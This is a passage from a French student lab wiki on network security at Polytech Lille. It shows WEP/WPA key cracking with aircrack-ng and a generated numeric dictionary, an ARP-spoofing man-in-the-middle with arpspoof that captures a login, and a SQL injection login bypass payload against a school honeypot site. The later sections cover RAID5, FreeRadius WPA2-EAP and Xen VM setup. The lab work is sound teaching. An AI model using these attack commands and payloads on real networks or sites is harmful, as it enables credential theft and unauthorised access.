    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54695</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54695"/>
				<updated>2020-12-15T13:58:01Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Serveur DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
